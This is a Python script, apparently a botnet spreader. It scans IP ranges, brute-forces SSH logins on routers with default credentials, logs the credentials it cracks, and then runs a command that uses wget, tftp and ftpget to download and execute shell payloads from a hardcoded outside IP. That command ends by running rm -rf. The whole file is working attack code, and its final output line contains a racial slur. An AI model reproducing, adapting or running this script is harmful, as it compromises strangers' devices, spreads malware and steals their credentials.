# python scan.py 1000 <start-range> <end-range> <<USAGE
# -*- coding: utf-8 -*-


import threading, paramiko, random, socket, time, sys

paramiko.util.log_to_file("/dev/null")

blacklisted = ["127.0","10.0","192.168"]

#server_ip = useless atm

passwords = ["support:support"]

if sys.argv[4] == "root":
    passwords = ["root:root"]
if sys.argv[4] == "guest":
    passwords = ["guest:guest"]
if sys.argv[4] == "telnet":
    passwords = ["telnet:telnet"]

if len(sys.argv) < 4:
    sys.exit("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")

print "\x1b[1;36m███████╗██╗     ██╗   ██╗███╗   ███╗██████╗ \x1b[0;36m"
print "\x1b[1;36m██╔════╝██║     ██║   ██║████╗ ████║██╔══██╗\x1b[0;32m"
print "\x1b[1;36m███████╗██║     ██║   ██║██╔████╔██║██████╔╝\x1b[0;32m"
print "\x1b[1;36m╚════██║██║     ██║   ██║██║╚██╔╝██║██╔═══╝ \x1b[0;36m"
print "\x1b[1;36m███████║███████╗╚██████╔╝██║ ╚═╝ ██║██║     \x1b[0;36m"
print "\x1b[1;36m╚══════╝╚══════╝ ╚═════╝ ╚═╝     ╚═╝╚═╝     \x1b[0;36m"

def sshscanner(ip):
    global passwords
    try:
        thisipisbad='no'
        for badip in blacklisted:
            if badip in ip:
                thisipisbad='yes'
        if thisipisbad=='yes':
            sys.exit()
        username='root'
        password="0"
        port = 22
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((ip, port))
        data = str(s.recv(1024))
        if "SSH" in data:
            print("\x1b[1;37m[\x1b[1;36m-\x1b[1;37m] \x1b[1;36mTrying To Infect \x1b[1;37m-\x1b[1;36m> \x1b[1;32m" + ip + "\x1b[37m")
        elif "ssh" in data:
            print("\x1b[1;37m[\x1b[1;36m-\x1b[1;37m] \x1b[1;36mTrying To Infect \x1b[1;37m-\x1b[1;36m> \x1b[1;32m" + ip + "\x1b[37m")
        else:
            sys.exit()
        s.close()
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        dobreak=False
        for passwd in passwords:
            if ":n/a" in passwd:
                password=""
            else:
                password=passwd.split(":")[1]
            if "n/a:" in passwd:
                username=""
            else:
                username=passwd.split(":")[0]
            try:
                ssh.connect(ip, port = port, username=username, password=password, timeout=3)
                break
            except:
                pass
        badserver=True
        stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
        output = stdout.read()
        if "inet addr" in output:
            badserver=False
        websites = [ ]
        if badserver == False:
                print("\x1b[1;37m[\x1b[1;36m+\x1b[1;37m] \x1b[1;36mInfecting this Router \x1b[1;37m-\x1b[1;36m> \x1b[1;32m" + ip + ":" + username + ":" + password + "\x1b[37m")
                ssh.exec_command('cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://191.96.112.115/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 191.96.112.115 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 191.96.112.115; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 191.96.112.115 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *')
                vulns = open("slumpthegod.txt", "a").write(username + ":" + password + ":" + ip + "\n")
                time.sleep(12)
                ssh.close()
    except Exception as e:
        pass


if sys.argv[2] == "ILY":
    ranges = ["188.16.000.000/188.19.255.255/188.20.255.255/190.13.0.0/190.13.255.255/190.40.0.0/190.43.255.255/190.96.0.0/190.97.255.255/190.232.0.0/190.239.255.255/125.27/101.109/113.53/118.173/122.170/122.180/81.20/125.25/125.26/182.52/118.174/118.175/125.24/180.180"]
    randomrange = random.choice(ranges)
    startrng = randomrange.split("/")[0]
    endrng = randomrange.split("/")[1]

if sys.argv[2] != "ILY":
    a = int(sys.argv[2].split(".")[0])
    b = int(sys.argv[2].split(".")[1])
    c = int(sys.argv[2].split(".")[2])
    d = int(sys.argv[2].split(".")[3])
else:
    a = int(startrng.split(".")[0])
    b = int(startrng.split(".")[1])
    c = int(startrng.split(".")[2])
    d = int(startrng.split(".")[3])
x = 0

while(True):
    try:

        if sys.argv[2] != "ILY":
            endaddr = sys.argv[3]
        else:
            endaddr = endrng

        d += 1

        ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)

        if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):
            if sys.argv[2] == "ILY":
                randomrange = random.choice(ranges)
                startrng = randomrange.split("/")[0]
                endrng = randomrange.split("/")[1]
                a = int(startrng.split(".")[0])
                b = int(startrng.split(".")[1])
                c = int(startrng.split(".")[2])
                d = int(startrng.split(".")[3])
            else:
                break

        if d > 255:
            c += 1
            d = 0

        if c > 255:
            b += 1
            c = 0

        if b > 255:
            a += 1
            b = 0

        ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)

        if ipaddr == endaddr:
            if sys.argv[2] == "ILY":
                randomrange = random.choice(ranges)
                startrng = randomrange.split("/")[0]
                endrng = randomrange.split("/")[1]
                a = int(startrng.split(".")[0])
                b = int(startrng.split(".")[1])
                c = int(startrng.split(".")[2])
                d = int(startrng.split(".")[3])
            else:
                break

        if x > 500:
            time.sleep(1)
            x = 0

        t = threading.Thread(target=sshscanner, args=(ipaddr,))
        t.start()

    except Exception as e:
        pass

print "\x1b[31mKilled my nig\x1b[37m"